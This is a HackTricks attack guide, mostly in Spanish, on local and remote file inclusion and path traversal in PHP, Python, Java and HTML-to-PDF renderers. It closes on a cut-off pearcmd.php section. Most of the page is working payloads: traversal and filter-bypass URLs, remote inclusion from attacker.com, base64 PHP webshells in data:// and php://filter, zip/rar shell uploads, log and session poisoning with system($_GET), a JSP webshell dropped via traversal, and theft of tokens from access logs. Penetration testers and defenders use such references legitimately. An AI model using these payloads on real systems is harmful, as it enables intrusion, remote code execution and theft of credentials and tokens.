File Inclusion/Path traversal
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
File Inclusion
Remote File Inclusion (RFI): El archivo se carga desde un servidor remoto (Lo mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está deshabilitado por defecto (allow_url_include).
Local File Inclusion (LFI): El servidor carga un archivo local.
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que el servidor va a cargar.
Funciones PHP vulnerables: require, require_once, include, include_once
Una herramienta interesante para explotar esta vulnerabilidad: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Combinando varias listas *nix LFI y añadiendo más rutas he creado esta:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
Intenta también cambiar / por \
Intenta también añadir ../../../../../
Una lista que usa varias técnicas para localizar el archivo /etc/password (para comprobar si la vulnerabilidad existe) puede encontrarse aquí
Windows
Fusión de diferentes wordlists:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
Intenta también cambiar / por \
Intenta también eliminar C:/ y añadir ../../../../../
Una lista que usa varias técnicas para localizar el archivo /boot.ini (para comprobar si la vulnerabilidad existe) puede encontrarse aquí
OS X
Consulta la lista LFI de Linux.
LFI básico y bypasses
Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
secuencias traversal eliminadas de forma no recursiva
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Saltar la adición de más caracteres al final de la cadena proporcionada (bypass de: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
Esto está resuelto desde PHP 5.4
Codificación
Puedes usar codificaciones no estándar como double URL encode (y otras):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
Los motores modernos de HTML-to-PDF (p. ej. TCPDF o wrappers como html2pdf) analizan con gusto HTML, SVG, CSS y URLs de fuentes proporcionadas por el atacante, pero se ejecutan dentro de redes backend de confianza con acceso al sistema de archivos. Una vez que puedas inyectar HTML en $pdf->writeHTML()/Html2Pdf::writeHTML(), a menudo puedes exfiltrar archivos locales que la cuenta del servidor web puede leer.
- Fingerprint the renderer: cada PDF generado contiene un campo
Producer(p. ej.TCPDF 6.8.2). Conocer la build exacta te indica qué filtros de ruta existen y si la decodificación de URLs ocurre antes de la validación. - Inline SVG payloads:
TCPDF::startSVGElementHandler()lee el atributoxlink:hrefde los elementos<image>antes de ejecutarurldecode(). Embedding a malicious SVG inside a data URI makes many HTML sanitizers ignore the payload while TCPDF still parses it:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF antepone $_SERVER['DOCUMENT_ROOT'] a las rutas que comienzan con / y solo resuelve .. después, así que usa segmentos iniciales ../../.. o /../../.. para escapar de la raíz tras el prepend.
- Encoding to bypass naive filters: Versions ≤6.8.2 only check for the literal substring
../before decoding the URL. Sending..%2f(or..%2F) in the SVG or in a raw<img src>attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF callsurldecode(). - Double-encoding for multi-stage decoding: If user input is decoded by the web framework and by TCPDF, double-encode the slash (
%252f). One decode turns it into%2f, the second decode in TCPDF turns it into/, yielding/..%252f..→/../../../…without ever showing../to the early filter. - HTML
<img>handler:TCPDF::openHTMLTagHandler()contains the same order-of-operations bug, allowing direct HTML payloads such assrc="%2f..%252f..%252ftmp%252fsecret.png"to read any locally reachable bitmap.
This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (isRelativePath()), so during tests prioritise older Producer versions.
Desde carpeta existente
Puede que el back-end esté comprobando la ruta de la carpeta:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Explorando directorios del sistema de archivos en un servidor
El sistema de archivos de un servidor puede explorarse recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se muestra un método detallado para lograrlo:
- Determinar la profundidad del directorio: Averigua la profundidad de tu directorio actual obteniendo con éxito el archivo /etc/passwd (aplicable si el servidor es Linux). Un ejemplo de URL podría estructurarse de la siguiente manera, indicando una profundidad de tres:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Sondea carpetas: Añade el nombre de la carpeta sospechosa (p. ej.,
private) a la URL, luego navega de nuevo a/etc/passwd. El nivel de directorio adicional requiere incrementar la profundidad en uno:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpretar los resultados: La respuesta del servidor indica si la carpeta existe:
- Error / Sin salida: La carpeta
privateprobablemente no existe en la ubicación especificada. - Contenido de
/etc/passwd: Se confirma la presencia de la carpetaprivate.
- Exploración recursiva: Las carpetas descubiertas pueden examinarse más a fondo para buscar subdirectorios o archivos usando la misma técnica o los métodos tradicionales de Local File Inclusion (LFI).
Para explorar directorios en distintas ubicaciones del sistema de archivos, ajuste el payload en consecuencia. Por ejemplo, para comprobar si /var/www/ contiene un directorio private (suponiendo que el directorio actual está a una profundidad de 3), utilice:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos eludiendo ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez alterada por la medida de seguridad, siga apuntando al archivo deseado.
En PHP, diversas representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:
/etc/passwd,/etc//passwd,/etc/./passwdy/etc/passwd/se tratan todos como la misma ruta.- Cuando los últimos 6 caracteres son
passwd, añadir un/(convirtiéndolo enpasswd/) no cambia el archivo objetivo. - De manera similar, si se añade
.phpa una ruta de archivo (comoshellcode.php), agregar un/.al final no alterará el archivo al que se accede.
Los ejemplos proporcionados demuestran cómo utilizar path truncation para acceder a /etc/passwd, un objetivo común debido a su contenido sensible (información de cuentas de usuario):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
En estos escenarios, el número de traversals necesarios podría ser aproximadamente 2027, pero este número puede variar según la configuración del servidor.
- Using Dot Segments and Additional Characters: Traversal sequences (
../) combinadas con segmentos adicionales de punto y caracteres pueden usarse para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor. - Determining the Required Number of Traversals: A través de prueba y error, se puede encontrar el número preciso de secuencias
../necesarias para navegar hasta el directorio raíz y luego a/etc/passwd, asegurando que cualquier cadena añadida (como.php) sea neutralizada pero que la ruta deseada (/etc/passwd) permanezca intacta. - Starting with a Fake Directory: Es una práctica común comenzar la ruta con un directorio inexistente (como
a/). Esta técnica se usa como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.
Al emplear técnicas de truncamiento de rutas, es crucial entender el comportamiento de análisis de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque diferente, y las pruebas suelen ser necesarias para encontrar el método más efectivo.
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
En php esto está deshabilitado por defecto porque allow_url_include está Off. Debe estar On para que funcione, y en ese caso podrías incluir un archivo PHP desde tu server y obtener RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Si por alguna razón allow_url_include está On, pero PHP está filtering el acceso a páginas web externas, según esta publicación, podrías usar por ejemplo el data protocol con base64 para decodificar un código PHP en b64 y obtener RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
En el código anterior, el
+.txtfinal se añadió porque el atacante necesitaba una cadena que terminara en.txt. Por eso la cadena termina con ello y, después de la decodificación b64, esa parte devolverá solo basura y el verdadero código PHP será incluido (y, por lo tanto, ejecutado).
Otro ejemplo not using the php:// protocol sería:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Elemento raíz en Python
En Python, en un código como este:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Si el usuario pasa una ruta absoluta a file_name, la ruta anterior simplemente se elimina:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Este es el comportamiento previsto según the docs:
Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa desde el componente de ruta absoluta.
Listado de directorios en Java
Parece que si tienes un Path Traversal en Java y pides un directorio en lugar de un archivo, se devuelve un listado del directorio. Esto no sucede en otros lenguajes (afaik).
Top 25 parámetros
Aquí tienes la lista de los 25 parámetros principales que podrían ser vulnerables a local file inclusion (LFI) (de link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI usando PHP wrappers & protocols
php://filter
Los filtros de PHP permiten realizar operaciones básicas de modificación sobre los datos antes de que estos sean leídos o escritos. Hay 5 categorías de filtros:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Elimina etiquetas de los datos (todo lo que esté entre los caracteres “<” y “>”)- Ten en cuenta que este filtro ha desaparecido en las versiones modernas de PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Transforma a una codificación diferente (convert.iconv.<input_enc>.<output_enc>). Para obtener la lista de todas las codificaciones soportadas ejecuta en la consola:iconv -l
Warning
Abusando del filtro de conversión
convert.iconv.*puedes generar texto arbitrario, lo que podría ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más información consulta LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Comprime el contenido (useful if exfiltrating a lot of info)zlib.inflate: Descomprime los datos- Encryption Filters
mcrypt.*: Obsoletosmdecrypt.*: Obsoletos- Otros filtros
- Al ejecutar en php
var_dump(stream_get_filters());puedes encontrar un par de filtros inesperados: consumeddechunk: invierte la codificación chunked de HTTPconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
La parte “php://filter” no distingue mayúsculas de minúsculas
Usando php filters como oráculo para leer archivos arbitrarios
En esta publicación se propone una técnica para leer un archivo local sin que la salida sea devuelta por el servidor. Esta técnica se basa en una exfiltración booleana del archivo (char por char) usando php filters como oráculo. Esto se debe a que los php filters pueden usarse para aumentar un texto lo suficiente como para que php lance una excepción.
En el post original puedes encontrar una explicación detallada de la técnica, pero aquí va un resumen rápido:
- Usa el codec
UCS-4LEpara dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente. - Esto se usará para generar un texto tan grande cuando la letra inicial está adivinada correctamente que php disparará un error.
- El filtro dechunk eliminará todo si el primer char no es un hexadecimal, por lo que podemos saber si el primer char es hex.
- Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al inicio del texto viendo cuándo al aplicar suficientes transformaciones deja de ser un carácter hexadecimal. Porque si es hex, dechunk no lo borrará y la bomba inicial provocará un error de php.
- El codec convert.iconv.UNICODE.CP930 transforma cada letra en la siguiente (por ejemplo: a -> b). Esto nos permite descubrir si la primera letra es una
aporque si aplicamos 6 veces este codec a->b->c->d->e->f->g la letra deja de ser un carácter hexadecimal, por lo tanto dechunk no la borra y se dispara el error de php porque se multiplica con la bomba inicial. - Usando otras transformaciones como rot13 al principio es posible leak otros chars como n, o, p, q, r (y otros codecs pueden usarse para mover otras letras al rango hex).
- Cuando el char inicial es un número es necesario codificarlo en base64 y leak las 2 primeras letras para leak el número.
- El problema final es ver cómo leak más que la letra inicial. Usando filtros de orden de memoria como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE es posible cambiar el orden de los caracteres y traer a la primera posición otras letras del texto.
- Y para poder obtener más datos la idea es generar 2 bytes de basura al principio con convert.iconv.UTF16.UTF16, aplicar UCS-4LE para que haga pivot con los siguientes 2 bytes, y eliminar los datos hasta la basura (esto quitará los primeros 2 bytes del texto inicial). Repetir esto hasta alcanzar el bit deseado para leak.
En el post también se filtró una herramienta para realizar esto automáticamente: php_filters_chain_oracle_exploit.
php://fd
Este wrapper permite acceder a los file descriptors que el proceso tiene abiertos. Potencialmente útil para exfiltrar el contenido de archivos abiertos:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
También puedes usar php://stdin, php://stdout and php://stderr para acceder a los descriptores de archivo 0, 1 y 2 respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
zip:// and rar://
Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.
Para poder abusar del protocolo rar, debe estar activado específicamente.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Ten en cuenta que este protocolo está restringido por las configuraciones de php allow_url_open y allow_url_include
expect://
Expect debe estar activado. Puedes ejecutar código usando esto:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Especifique su payload en los parámetros POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Un archivo .phar puede utilizarse para ejecutar código PHP cuando una aplicación web emplea funciones como include para la carga de archivos. El fragmento de código PHP que se muestra a continuación demuestra la creación de un archivo .phar:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Para compilar el archivo .phar, se debe ejecutar el siguiente comando:
php --define phar.readonly=0 create_path.php
Al ejecutarse, se creará un archivo llamado test.phar, que podría aprovecharse para explotar vulnerabilidades de Local File Inclusion (LFI).
En los casos en que el LFI solo realiza la lectura de archivos sin ejecutar el código PHP contenido en ellos, a través de funciones como file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), o filesize(), se podría intentar la explotación de una deserialization vulnerability. Esta vulnerabilidad está asociada con la lectura de archivos usando el protocolo phar.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Fue posible abusar de any arbitrary file read from PHP that supports php filters para obtener un RCE. La descripción detallada puede ser found in this post.
Muy breve resumen: un 3 byte overflow en el heap de PHP fue abusado para alter the chain of free chunks de un tamaño específico con el fin de write anything in any address, por lo que se añadió un hook para llamar a system.
Fue posible alloc chunks de tamaños específicos abusando de más php filters.
More protocols
Check more possible protocols to include here:
- php://memory and php://temp — Escribe en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un file inclusion attack)
- file:// — Acceso al filesystem local
- http:// — Acceso a URLs HTTP(s)
- ftp:// — Acceso a URLs FTP(s)
- zlib:// — Compression Streams
- glob:// — Find pathnames matching pattern (No devuelve nada imprimible, así que no es realmente útil aquí)
- ssh2:// — Secure Shell 2
- ogg:// — Audio streams (No útil para leer archivos arbitrarios)
LFI via PHP’s ‘assert’
Los riesgos de Local File Inclusion (LFI) en PHP son particularmente altos cuando se trata de la función ‘assert’, que puede ejecutar código dentro de strings. Esto es especialmente problemático si una entrada que contiene caracteres de directory traversal como “..” se comprueba pero no se sanitiza correctamente.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Si bien esto pretende detener traversal, crea inadvertidamente un vector para code injection. Para explotarlo y leer el contenido de un archivo, un attacker podría usar:
' and die(highlight_file('/etc/passwd')) or '
De manera similar, para ejecutar comandos arbitrarios del sistema, se podría usar:
' and die(system("id")) or '
Es importante URL-encode these payloads.
PHP Blind Path Traversal
Warning
Esta técnica es relevante en casos donde tú controlas la ruta de archivo de una función PHP que accederá a un archivo pero no verás el contenido del archivo (como una llamada simple a
file()) ya que el contenido no se muestra.
In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
En resumen, la técnica consiste en usar la codificación “UCS-4LE” para hacer que el contenido de un archivo sea tan grande que la función PHP que lo abre provoque un error.
Luego, para leak the first char se utiliza el filtro dechunk junto con otros como base64 o rot13, y finalmente se emplean los filtros convert.iconv.UCS-4.UCS-4LE y convert.iconv.UTF16.UTF-16BE para colocar otros chars al principio and leak them.
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
Para los detalles técnicos, consulta el post mencionado!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Cuando el código server-side que ingiere/sube archivos construye la ruta de destino usando datos controlados por el usuario (p. ej., un filename o URL) sin canonicalizar y validar, los segmentos .. y las rutas absolutas pueden escapar del directorio previsto y causar una escritura arbitraria de archivos. Si puedes colocar el payload en un directorio web-expuesto, normalmente obtendrás RCE no autenticado al dejar un webshell.
Typical exploitation workflow:
- Identifica un write primitive en un endpoint o background worker que acepte una ruta/nombre de archivo y escriba contenido en disco (p. ej., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determina directorios web-expuestos. Ejemplos comunes:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Construye una ruta de traversal que salga del directorio de almacenamiento previsto hacia el webroot e incluye tu contenido de webshell.
- Navega hasta el payload dejado y ejecuta comandos.
Notas:
- El servicio vulnerable que realiza la escritura puede escuchar en un puerto no HTTP (p. ej., un JMF XML listener en TCP 4004). El portal web principal (puerto diferente) servirá posteriormente tu payload.
- En stacks Java, esas escrituras de archivos a menudo se implementan con simple concatenación de
File/Paths. La falta de canonicalización/allow-listing es el fallo central.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Hardening that defeats this class of bugs:
- Resolver a una ruta canónica y hacer cumplir que sea un descendiente de un directorio base allow-listed.
- Rechazar cualquier ruta que contenga
.., raíces absolutas, o letras de unidad; preferir nombres de archivo generados. - Ejecutar el writer como una cuenta con pocos privilegios y segregar los directorios de escritura de los roots servidos.
Remote File Inclusion
Explicado anteriormente, follow this link.
A través del archivo de registro de Apache/Nginx
Si el servidor Apache o Nginx es vulnerable a LFI dentro de la función include puedes intentar acceder a /var/log/apache2/access.log or /var/log/nginx/access.log, escribir dentro del user agent o dentro de un GET parameter un php shell como <?php system($_GET['c']); ?> e incluir ese archivo
Warning
Ten en cuenta que si usas comillas dobles para el shell en lugar de comillas simples, las comillas dobles se modificarán por la cadena “quote;”, PHP lanzará un error y no se ejecutará nada más.
Además, asegúrate de escribir correctamente el payload o PHP fallará cada vez que intente cargar el archivo de log y no tendrás una segunda oportunidad.
Esto también podría hacerse en otros registros pero ten cuidado, el código dentro de los logs podría estar URL encoded y esto podría destruir el Shell. El header authorisation “basic” contiene “user:password” en Base64 y se decodifica dentro de los logs. El PHPShell podría insertarse dentro de este header.
Otros posibles log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Leer registros de acceso para extraer auth tokens basados en GET (token replay)
Muchas apps aceptan por error session/auth tokens vía GET (p. ej., AuthenticationToken, token, sid). Si tienes un path traversal/LFI que te permita leer los web server logs, puedes robar esos tokens de los access logs y replayarlos para bypass completo de la autenticación.
How-to:
- Usa el traversal/LFI para leer el web server access log. Ubicaciones comunes:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Algunos endpoints devuelven lecturas de archivos Base64-encoded. Si es así, decodifica localmente e inspecciona las líneas del log.
- Usa grep para buscar solicitudes GET que incluyan un parámetro token y captura su valor; luego replayéalo contra el application entry point.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Decodifica el cuerpo si está en Base64, luego reenvía un token capturado:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Notes:
- Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
- Si la app soporta múltiples nombres de token, busca claves comunes como AuthenticationToken, token, sid, access_token.
- Rota cualquier token que pueda haber leaked en los logs.
Vía Email
Envía un correo a una cuenta interna (user@localhost) que contenga tu payload PHP como <?php echo system($_REQUEST["cmd"]); ?> e intenta incluirlo en el correo del usuario con una ruta como /var/mail/<USERNAME> o /var/spool/mail/<USERNAME>
Vía /proc//fd/
- Sube muchos shells (por ejemplo: 100)
- Incluye http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del proceso (can be brute forced) y $FD el descriptor de archivo (can be brute forced too)
Vía /proc/self/environ
Como un archivo de log, envía el payload en el User-Agent; será reflejado dentro del archivo /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Vía upload
Si puedes subir un archivo, simplemente inyecta el shell payload en él (p. ej.: <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Para mantener el archivo legible es mejor inyectar en los metadatos de las imágenes/doc/pdf
Vía subida de archivo Zip
Sube un archivo ZIP que contenga un PHP shell comprimido y accede:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Mediante sesiones PHP
Comprueba si el sitio web utiliza sesiones PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
En PHP, estas sesiones se almacenan en archivos /var/lib/php5/sess\[PHPSESSID]_.
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Establece la cookie en <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Usa el LFI para incluir el archivo de sesión de PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Vía ssh
Si ssh está activo, comprueba qué usuario se está usando (/proc/self/status & /etc/passwd) y prueba a acceder a <HOME>/.ssh/id_rsa
Vía vsftpd logs
Los logs del servidor FTP vsftpd se encuentran en /var/log/vsftpd.log. En un escenario donde exista una vulnerabilidad de Local File Inclusion (LFI) y sea posible acceder a un servidor vsftpd expuesto, pueden considerarse los siguientes pasos:
- Inyecta un payload de PHP en el campo username durante el proceso de login.
- Tras la inyección, utiliza la LFI para recuperar los logs del servidor desde /var/log/vsftpd.log.
Vía filtro base64 de php (using base64)
As shown in this article, el filtro base64 de PHP simplemente ignora Non-base64. Puedes usar eso para bypass la comprobación de la extensión de archivo: si suministras base64 que termina con “.php”, éste simplemente ignorará el “.” y añadirá “php” al base64. Aquí hay un ejemplo de payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Mediante php filters (no file needed)
This writeup explica que puedes usar php filters para generar contenido arbitrario como salida. Lo que básicamente significa que puedes generate arbitrary php code para el include without needing to write it into a file.
Mediante segmentation fault
Upload un archivo que será almacenado como temporary en /tmp, luego en la same request, provoca un segmentation fault, y entonces el temporary file won’t be deleted y puedes buscarlo.
LFI2RCE via Segmentation Fault
Mediante Nginx temp file storage
Si encuentras una Local File Inclusion y Nginx está ejecutándose delante de PHP, podrías obtener RCE con la siguiente técnica:
Mediante PHP_SESSION_UPLOAD_PROGRESS
Si encuentras una Local File Inclusion incluso si no tienes sesión y session.auto_start está Off. Si proporcionas PHP_SESSION_UPLOAD_PROGRESS en datos multipart POST, PHP habilitará la sesión por ti. Podrías abusar de esto para obtener RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Mediante temp file uploads en Windows
Si encuentras una Local File Inclusion y el servidor está ejecutándose en Windows, podrías conseguir RCE:
Mediante pearcmd.php + URL args
As explained in this post, el script /usr/local/lib/phppearcmd.php existe por defecto en php docker images. Además, es posible pasar argumentos al script vía la URL porque se indica que si un parámetro de URL no tiene un =, debe usarse como argumento. Véase también watchTowr’s write-up y Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
